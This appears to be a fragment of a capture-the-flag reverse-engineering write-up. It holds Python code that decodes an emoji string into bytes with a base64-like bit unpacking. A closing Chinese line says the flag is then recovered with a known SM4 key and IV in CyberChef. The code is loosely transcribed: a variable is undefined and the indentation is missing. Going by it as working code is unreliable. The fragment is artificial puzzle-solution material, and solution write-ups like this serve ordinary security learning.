emoji = "😡😄😱😨😃😓😘😛😽😅😸😑😂😛😐😿😚😀😌😭😫😘😎😺😫😆😺😣😏😄😳😮😈😈😏😒😐😱😒😴😊😭😰😴😥😪😍😑😎😣😠😷😘😖😆😖😦😿😞😷😥😀😕😁😷😒😀😧😺😤😋😦😶😡😪😪😒😛😭😢😚😅😬😝😱😐😀"
for i in emoji:
data.append((ord(i) & 0xFF))
v19 = [0]*3
for i in range(0,len(a),4):
v19[2] = (data[i+3] & 0x3F) | ((data[i+2] & 0x03) << 6)
v19[1] = ((data[i+2]&0x3c)>>2) | ((data[i+1]&0xf) << 4)
v19[0] = (data[i]<<2) | ((data[i+1]&0x30)>>4)
for i in range(len(v19)):
print(hex(v19[i]), end=',')
然后我们已知sm4的key和iv,直接cyperchef梭了得到flag